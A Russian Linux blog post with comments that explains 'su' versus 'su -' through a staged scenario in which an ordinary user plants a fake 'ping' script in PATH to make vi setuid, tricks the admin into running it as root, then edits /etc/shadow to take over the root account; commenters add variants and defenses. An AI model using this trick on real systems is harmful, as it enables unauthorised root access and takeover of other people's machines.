Блог им. aonickРазница между командами "su" и "su -" [Занимательная и поучительная история]

Большенство пользуются и знают команду «su», но…
многие никогда и не знали про «su -»,
и некоторые набирают «su -» не зная почему, просто потому что им так посоветовал их знакомый гуру-линуксойд.


Предлагаю вашему вниманию наглядное(!!!) объяснение разницы.
Для начала теории
Согласно «man su»: Опции "-, -l, --login" означают "make the shell a login shell". Это означает, что при переходе с помощью «su -» запускается командная строка с настройками, как если бы логинились под указанного(либо по-умолчанию «root») пользователя «с нуля». В то время как просто «su» — запускает shell от указанного пользователя и при этом многие переменные окружения унаследываются от пользователя, который был до этого.


В подтверждение:
??[polzavatel]?????o Завёл переменную
?> export A=123
??[polzavatel]?????o Проверил
?> echo $A
123
??[polzavatel]?????o Перехожу без "-"
?> su
Пароль: **пароль**
?=[root]===========o Проверяю
?> echo $A
123 # Переменная передалась
?=[root]===========o Возвращаюсь обратно под "polzavatel"
?> exit
??[polzavatel]?????o Перехожу с "-"
?> su -
Пароль: **пароль**
?=[root]===========o Проверяю
?> echo $A
                   # Пусто. Переменная не передалась.


Теперь для тех «кто всё равно не понял», либо «ну понятно, и чё дальше?!» — пример после которого одна русско говорящая гражданка страны на юге Канады сказала: "Ну я сегодня своих сисадминов хакну, а то они мне аську не ставят". А на следующий день: "Я их хакнула :)"

Пьеса «Гипотетическая история, которая может случится с каждым».
Действующие лица (можете выбрать чья роль Вам ближе):
root — системный администратор,
polzavatel — обычный пользователь, без каких либо лишних прав в системе.
Действия происходят на каком-нибудь популярном дистрибутиве (проверено на многих, с некоторыми модификациями, но основной подход тот же).


Сцена первая — «Подготовка».
Компьютер, за ним сидит polzavatel и думает как же поставить себе аську\игрушку\кодеки\...(нужное подчеркнуть). Зная, что root пользуется командой «su» без "-" — у него появляется следующий коварный план(выполняется в консоли от имени polzavatel):
% PATH="/home/polzavatel:$PATH"
% echo "#!/bin/bash
chmod u+s /bin/vi
/bin/ping $*" > /home/polzavatel/ping
% chmod +x /home/polzavatel/ping

Всё

Сцена вторая — «Социальная»
Компьютер, за ним сидит polzavatel, в ожидании мимо проходящего root. Тут появляется root, он мысленно чем-то занят, торопясь по своим делам.
polzavatel: "Уважаемый root, а у меня тут чего-то не работает — не могли бы вы помочь?.."
root: "Ну что ж...(с неохотой) давай-те посмотрим". Садится за компьютер и набирает в услужливо подставленной консоли:
% su
Пароль: **мегаСекретныйПароль** # Садясь за компьютер, с легкой параноидальностью прикрывая клавиатуру телом

root: "Ну что тут у вас не работает?"
polzavatel: "Знаете… почему то сеть не работает. 192.168.1.1 — не пингуется. А мне на него файлики закачать надо..."
root: "(Понятно)", набирая команду:
# ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=4.71 ms
...

polzavatel: "Ух-ты. Только ж не работало!.. Ну это прям «эффект присутствия» какой-то. Спасибо Вам дорогой root"
root облегченный, так быстро разрулившейся проблемой, уходит предусмотрительно отлогинившись.

Сцена третья — «Заключительная»
Компьютер, за ним сидит polzavatel — обстановка как в первой сцене. С довольной ухмылкой он выполняет в консоли от имени polzavatel следующие команды:
% /bin/vi /etc/shadow # Там он копируют хеш-пароля пользователя polzavatel на место хеш-пароля пользователя root. И сохранившись ":w!", выходит из редактора.
% su -
Пароль: **парольПользователя_polzavatel**
# whoami
root

!!!
ЗАНАВЕС

— — — — — — — Пометки:
1) Вместо команды ping можно было бы использовать любую другую или несколько сразу. Соответственно поменяв при этом содержание просьбы polzavatel во второй сцене.
2) Вместо «chmod u+s /bin/vi» — опять же можно использовать и другую команду, которую хотелось бы выполнить root'овыми правами.

Ну кто искренне, держа руку на сердце — готов сказать что он не попался бы?!
P.S. Проверено на более полсотни сисадминах (разной степени продвинутости) — 100% попалось(причем все после объяснения разницы между «su» и «su -», и в ожидании подвоха), из них правда некоторые сказали: «А пинговать, то ведь можно было и не под root'ом...» (но уже после того как попались).

:)Пример не только для того, чтобы бросались все бежать «хакать», а для того чтобы подумали, где бы Вас могли бы «хакнуть» и как этого избежать. Я знаю, а вы?
  • +19
  • aonick
  • 07 декабря 2009, 22:31

Комментарии (20)

  • avatar
  • fog
  • 07 декабря 2009, 22:53
  • #
  • 1
Я еще много способов знаю. :-) В молодости увлекался творчеством Кевина Митника… да, хорошее было время. :-) А сейчас интернет уже не торт. :-)

ps: да, я попался бы — пользуюсь всегда только «su». :-)
там на самом деле совсем не важно «su» или «su -» выполняешь ли. Основная идея — то что в чужой консоли работая, ты доверяешь тем настройкам, которые в ней установлены.
Никто не мишает в этом же примере создать скриптик /home/polzavatel/su следующего содержания:
#!/bin/bash
/bin/su

И тогда не важно, что в этой консоли запускает root: «su» или «su -» — все равно выполняется «su».
Я так понимаю, что единственный выход это Ctrl+Alt+Fx?
ага, можно и по сети(ssh например)
/bin/ping вместо ping. И далее по аналогии. Неудобно. А что поделать.

Не зря же во всех вариациях сертифицированного RHEL (причем что по Common Criteria «у них», что по РД ОК «у нас») жестко вбито:
alias su=«echo \»Always use '\''/bin/su -'\''
:-)
Согласен с вариантом "/bin/ping"

:) — прикольный alias
Кстати в SUSE(и в SLE и в openSUSE) для «su» и «su -» разные файлы управляения аутентификацией:
/etc/pam.d/su и /etc/pam.d/su-l
Думаю, было бы интересно почитать о том, как не нужно делать)
«как не нужно» как раз и написано, а «как нужно» — нужно перейти в консоль (Ctrl+Alt+F1 например) или зайти по сети(ssh)
Вообще-то я имел ввиду серию статей на эту тему. Во-первых можно узнать интересные уловки, а во-вторых — тонкости ОС.
ЗЫ: посмотри, кто писал про Ctrl+Alt+Fx на пару комментов выше ;)
ЗЫ :)

А про серию уже объяснялся — я пас. Изредка по настроению сам. А вот сами пишите — дополню. :)
Или /bin/ping и далее по аналогии (см.выше).
А можно поделиться этими способами с народом?
Спасибо! Не обращал внимания на такие «мелочи», но правда кроме меня к моим линухам консольного доступа никто не имеет.
  • avatar
  • Donat
  • 08 декабря 2009, 14:14
  • #
  • 0
А как обратно переключиться после выполнения ctrl+alt+F1?
Ctrl+Alt+F7. Остальные F1-F6 — такие же терминалы.
  • avatar
  • su6s
  • 26 декабря 2009, 00:16
  • #
  • 3
Пьесы бы не было, знай админ, что маунтить юзерские хомяки с правами на выполнение — ССЗБ.
(Зарегился ради того, что откомментить здесь.)
(Почтён :) сам как-то также зарегился.)

Да вариант с noexec как-то в качестве варианта решения не приходил в голову — соглашусь. Но не кто не мешает тогда PATH="/tmp/bin:$PATH" и химичить в /tmp…
Minoru тут сослался на эту статью на welinux.ru/post/2060/
Так с welinux'а ушел — комментить буду здесь :)

1) «sudo command» слегка похоже по работе на «su — -c command».
2) 2Minoru: расмотрел бы синтаксис /etc/sudoers. Хотя бы про то как разрешить пользователю выполнять определенную команду от root не вводя пароля.
3) За «спасибы» — пожалуста, на здоровье :)
Спасибо за поучительную информацию)
Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.